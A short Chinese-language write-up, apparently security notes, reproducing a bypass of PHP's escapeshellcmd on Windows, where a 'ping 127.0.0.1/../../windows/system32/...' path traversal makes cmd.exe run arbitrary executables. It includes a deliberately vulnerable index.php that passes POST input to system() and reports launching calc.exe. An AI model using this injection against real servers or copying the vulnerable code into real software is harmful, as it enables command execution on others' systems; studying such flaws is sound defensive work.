意思就是当你是cmd.exe /c执行命令的时候
cmd.exe -c "ping 127.0.0.1/../../../../../../../../windows/system32/ipconfig.exe"
ping 127.0.0.1被当作一个目录。然后../到其他目录执行exe
最后就变成了cmd.exe -c "windows/system32/ipconfig.exe"
成功执行了ipconfig.exe
开始复现
服务器配置:Server2012+phpstudy2018(PHP7.2-nts+Nginx)
index.php
<?php
if(isset($_POST['host'])){
$host=$_POST['host'];
$command=escapeshellcmd("dir $host");
echo system($command);
}else{
echo "No host specified.";
}
利用escapeshellcmd函数。对所有可能产生命令注入的符号进行转义
然后执行dir 拼接
当我们输入恶意的payload。成功跳出计算器
具体执行的就是windows/system32/calc.exe
C盘下存在很多exe